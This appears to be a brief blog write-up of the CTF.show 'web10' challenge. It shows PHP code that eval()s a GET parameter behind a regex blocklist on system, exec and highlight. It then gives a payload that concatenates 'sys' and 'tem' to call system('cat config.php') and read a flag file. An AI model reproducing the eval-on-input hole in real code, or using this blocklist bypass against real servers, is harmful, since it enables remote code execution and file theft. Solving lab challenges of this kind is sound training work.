CTF.show:萌新:web10
阿新 • • 發佈:2021-02-05
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
} else{
highlight_file(__FILE__);
}
?>
這題跟上一題相反,把這幾個函式禁用了。
構造
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag在右鍵原始碼裡